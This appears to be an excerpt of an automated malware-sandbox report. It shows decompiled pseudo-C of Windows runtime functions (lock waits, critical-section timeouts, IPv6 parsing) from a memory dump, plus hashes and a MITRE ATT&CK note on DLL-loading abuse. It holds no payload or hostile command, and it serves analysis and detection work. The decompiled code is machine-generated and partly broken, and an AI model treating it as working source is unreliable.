]:%u, xrefs: 0201EA47
%%%u, xrefs: 01FF1564

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 18bd141c7fb7282e15189bf0e5949c72bebad6c2358c51c9bf2310e5a934d7c7
Instruction ID: 6fb0dd31e497a027d71e2abbbf38a74b9957a5cb7d2b959f8bcef7aa16ed2217
Opcode Fuzzy Hash: 18bd141c7fb7282e15189bf0e5949c72bebad6c2358c51c9bf2310e5a934d7c7
Instruction Fuzzy Hash: A621D5B3D04219DBDB21DE59CC44AEE77ACBF54704F484119EE46E3140DBB2EA588BE1

Uniqueness

Uniqueness Score: -1.00%

Function 01FD53A5, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E01FD53A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x020901c0;
									_push(_t92);
									_push(0);
									_t37 = E01FAF8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E01FF4FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E02003F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E02003F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E0203217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E02003F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E01FF3915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E01FD5384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E01FAF970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E01FF3915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E01FAF970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E01FF3915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E01FAF970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E01FF3915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E01FD5329(_t74, _t92);
													_push(1);
													_t48 = E01FD53A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x01fd53ab
0x01fd53ae
0x01fd53b1
0x01fd53b4
0x01fd53b7
0x01ff05b6
0x01ff05c0
0x01ff05c3
0x00000000
0x01ff05c9
0x01ff05c9
0x01ff05cc
0x01ff05d5
0x01ff05d5
0x01fd53bd
0x01fd53bd
0x01fd53bd
0x01fd53be
0x01fd53be
0x01fd53be
0x01fd53c0
0x00000000
0x00000000
0x02012269
0x0201226d
0x02012349
0x0201234d
0x02012273
0x02012276
0x02012279
0x0201227e
0x02012283
0x02012287
0x0201228a
0x0201228d
0x0201228f
0x020122bc
0x020122bc
0x020122bc
0x020122be
0x020122c4
0x020122cc
0x020122d0
0x020122d6
0x020122d7
0x020122da
0x020122df
0x020122e4
0x00000000
0x00000000
0x020122e6
0x020122e9
0x020122f4
0x020122f9
0x020122fa
0x02012305
0x02012314
0x02012319
0x0201231a
0x0201231d
0x02012320
0x02012323
0x02012323
0x02012328
0x0201232d
0x0201232f
0x02012331
0x02012336
0x02012336
0x0201233b
0x0201233d
0x02012350
0x02012351
0x02012356
0x02012359
0x02012359
0x0201235b
0x0201235d
0x01fd5367
0x01fd536b
0x01fd5372
0x00000000
0x00000000
0x00000000
0x00000000
0x02012363
0x02012363
0x02012369
0x0201236a
0x0201236c
0x02012371
0x02012373
0x00000000
0x02012379
0x02012379
0x0201237a
0x0201237f
0x0201237f
0x02012385
0x02012386
0x02012389
0x0201238e
0x02012390
0x01fd5378
0x01fd537c
0x02012396
0x02012396
0x02012397
0x0201239c
0x020123a2
0x020123a3
0x020123a6
0x020123ab
0x020123ad
0x00000000
0x020123b3
0x020123b3
0x020123b4
0x020123b9
0x020123ba
0x020123ba
0x020123bc
0x020123bf
0x00000000
0x00000000
0x02009153
0x02009158
0x0200915a
0x0200915e
0x02009160
0x00000000
0x02009166
0x02009166
0x02009171
0x02009176
0x02009176
0x00000000
0x02009160
0x020123c6
0x020123cb
0x020123ce
0x020123d7
0x020123d7
0x020123ad
0x02012390
0x02012373
0x0201233f
0x0201233f
0x00000000
0x0201233f
0x02012291
0x02012291
0x02012293
0x02012295
0x0201229a
0x020122a1
0x020122a3
0x020122a7
0x020122a9
0x00000000
0x00000000
0x020122ab
0x020122ad
0x020122af
0x00000000
0x00000000
0x00000000
0x020122af
0x020122b1
0x020122b4
0x020122b4
0x020122b6
0x00000000
0x00000000
0x00000000
0x00000000
0x020122b6
0x0201228f
0x00000000
0x0201226d
0x01fd53cb
0x01fd53ce
0x01fd53d0
0x01fd53d4
0x01fd53d6
0x00000000
0x01fd53d8
0x01fd53e3
0x01fd53ea
0x01fd53ea
0x01fd53d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 020122F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 020122FC
RTL: Re-Waiting, xrefs: 02012328
RTL: Resource at %p, xrefs: 0201230B

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 13f37c1c03e491ac549770cc6affc1128e6640d8d65ca5a4eb8e3923aeff4e64
Instruction ID: 19bd903d5d9197675aaff949fa5c2cf9a0e98388ccc89b3e329677da581c4a9e
Opcode Fuzzy Hash: 13f37c1c03e491ac549770cc6affc1128e6640d8d65ca5a4eb8e3923aeff4e64
Instruction Fuzzy Hash: 0D51F8716007166FEB16DB29CCC0FAA73EAAF58324F104619FD45DB291EB62E8419B90

Uniqueness

Uniqueness Score: -1.00%

Function 01FDEC56, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E01FDEC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E01FCDA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0x209793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E01FB16C0(_t39);
				} else {
					_t40 = E01FAF9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E01FF3915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E01FB01A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0x209793c; // 0x0
								_push(_t85);
								_t44 = E01FB1F28(_t71);
							} else {
								_t44 = E01FAF8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E01FF3915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E02032306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E01FDEC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E01FF4FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E02003F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E02003F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0x20920c0;
								if(_t85 != 0x20920c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E0203217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E02003F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x01fdec56
0x01fdec56
0x01fdec56
0x01fdec5c
0x01fdec64
0x020123e6
0x020123eb
0x020123eb
0x01fdec6a
0x01fdec6c
0x01fdec6f
0x020123f3
0x020123f8
0x020123fa
0x020123fc
0x01fdec75
0x01fdec76
0x01fdec76
0x01fdec7b
0x01fdec7c
0x01fdec7e
0x02012406
0x02012407
0x0201240c
0x0201240d
0x0201240d
0x0201240d
0x02012414
0x02012417
0x0201241e
0x02012435
0x02012438
0x0201243c
0x0201243f
0x02012442
0x02012443
0x02012446
0x02012449
0x02012453
0x02012455
0x0201245b
0x0201245b
0x01fdeb99
0x01fdeb99
0x01fdeb9c
0x01fdeb9d
0x01fdeb9f
0x01fdeba2
0x02012465
0x0201246b
0x0201246d
0x01fdeba8
0x01fdeba9
0x01fdeba9
0x01fdebae
0x01fdebb3
0x01fdebb9
0x01fdebbb
0x02012513
0x02012514
0x02012519
0x0201251b
0x01fdec2a
0x01fdec2d
0x01fdec33
0x01fdec36
0x01fdec3a
0x01fdec3e
0x01fdec40
0x01fdec47
0x01fdec47
0x01fdec40
0x01fb22c6
0x01fdebc1
0x01fdebc1
0x01fdebc5
0x01fdec9a
0x01fdec9a
0x01fdebd6
0x01fdebd6
0x00000000
0x01fdebbb
0x02012477
0x0201247c
0x02012486
0x0201248b
0x02012496
0x0201249b
0x0201249d
0x020124a0
0x020124a3
0x020124aa
0x020124aa
0x020124a5
0x020124a5
0x020124a5
0x020124ac
0x020124af
0x020124b0
0x020124b3
0x020124b9
0x020124ba
0x020124bb
0x020124c6
0x020124cb
0x020124cd
0x020124d0
0x020124d1
0x020124d4
0x020124d6
0x020124d9
0x020124d9
0x020124dc
0x020124df
0x020124e1
0x020124e7
0x020124e9
0x020124ec
0x020124ef
0x020124f2
0x020124f2
0x020124ef
0x020124e7
0x020124fa
0x020124ff
0x02012501
0x02012503
0x02012506
0x0201250b
0x01fdeb8c
0x01fdeb93
0x00000000
0x00000000
0x01fdeb93
0x00000000
0x01fdeb99
0x01fdec85
0x01fdec85
0x01fdec85
0x00000000

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 0201248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 020124BD
RTL: Re-Waiting, xrefs: 020124FA

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 1b016f9de35bf318c5303685822b6ed5c35ebed2bdc7962e11a110bb86715945
Instruction ID: 169728c15732f30c2276563b069efbb7a8960682b2f6bbd3cfd026a9c0895f0f
Opcode Fuzzy Hash: 1b016f9de35bf318c5303685822b6ed5c35ebed2bdc7962e11a110bb86715945
Instruction Fuzzy Hash: A74125B1A00314AFDB20DB68CD85FAA77AAEF44320F148609F9569B2D1D736E941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01FEFCC9, Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01FEFCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E01FEEE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E01FEEE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E01FE685D(_t167, 4) == 0) {
								if(E01FE685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E01FE685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E01FE685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E01FC8980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E01FBDFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E01FEEE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E01FEEE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x01fefcd1
0x01fefcd6
0x01fefcd9
0x01fefcdc
0x01fefcdf
0x01fefce2
0x01fefce5
0x01fefce8
0x01fefceb
0x01fefced
0x01fefced
0x01fefcf3
0x00000000
0x00000000
0x01fefcfc
0x01fefcfe
0x01fefdc1
0x0201ecbd
0x00000000
0x0201eccc
0x0201eccc
0x0201ecd2
0x00000000
0x00000000
0x0201ecdf
0x0201ece0
0x0201ece4
0x0201eceb
0x0201ecee
0x0201eca8
0x0201eca8
0x0201ecaa
0x01fefd76
0x01fefd79
0x01fefdb4
0x01fefdb5
0x01fefdb6
0x00000000
0x01fefdb6
0x01fefd7e
0x0201ecfc
0x01fefe2f
0x00000000
0x01fefe2f
0x0201ed08
0x0201ed0f
0x0201ed17
0x0201ed1b
0x00000000
0x0201ed1b
0x01fefd88
0x00000000
0x00000000
0x01fefd94
0x01fefd99
0x01fefda1
0x00000000
0x00000000
0x01fefdb0
0x00000000
0x01fefdb0
0x0201ecbd
0x01fefdc7
0x01fefdcb
0x00000000
0x01fefdd7
0x01fefde3
0x01fefe06
0x02001fe7
0x00000000
0x00000000
0x02001fef
0x02001ff0
0x02001ff4
0x02001ff7
0x02001ffa
0x02001ffd
0x02002000
0x00000000
0x00000000
0x0201ecf1
0x00000000
0x0201ecf1
0x00000000
0x01fefe06
0x01fefde8
0x01fefdec
0x01fefdef
0x01fefdf2
0x00000000
0x01fefdf2
0x01fefdcb
0x01fefd04
0x01fefd05
0x0201ec67
0x00000000
0x00000000
0x0201ec6f
0x00000000
0x0201ec6f
0x01fefd13
0x01fefd3c
0x01fefd40
0x0201ec75
0x0201ec7a
0x00000000
0x0201ec8a
0x0201ec8a
0x0201ec90
0x0201ecb2
0x01fefd73
0x01fefd73
0x00000000
0x01fefd73
0x0201ec95
0x00000000
0x00000000
0x0201eca1
0x0201eca4
0x0201eca5
0x00000000
0x0201eca5
0x0201ec7a
0x01fefd4a
0x00000000
0x01fefd6e
0x01fefd6e
0x01fefd71
0x00000000
0x01fefd71
0x01fefd4a
0x01fefd21
0x01ffa3a1
0x00000000
0x01ffa3a1
0x01fefd36
0x0200200b
0x02002012
0x00000000
0x00000000
0x02002018
0x00000000
0x02002018
0x00000000
0x01fefd36
0x01fefe0f
0x01fefe16
0x01ffa3ad
0x00000000
0x00000000
0x01ffa3b3
0x01ffa3b3
0x01fefe1f
0x0201ed25
0x0201ed86
0x00000000
0x00000000
0x0201ed91
0x0201ed95
0x0201ed95
0x0201ed9a
0x0201edad
0x0201edb3
0x0201edba
0x0201edc4
0x0201edc9
0x00000000
0x0201edcc
0x0201ed2a
0x0201ed55
0x00000000
0x00000000
0x0201ed61
0x0201ed66
0x0201ed6e
0x00000000
0x00000000
0x0201ed7d
0x00000000
0x0201ed7d
0x0201ed30
0x00000000
0x00000000
0x0201ed3c
0x0201ed43
0x0201ed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 01FEFD94

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: 3c98ee92bdbeef92e22c291f214a08e8ca8f599961a02d1c85ac413c42adace9
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 19919071D0020AEEDF25CF98C8496EEBBF5FF45714F24806AD911E7292E7325A41CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

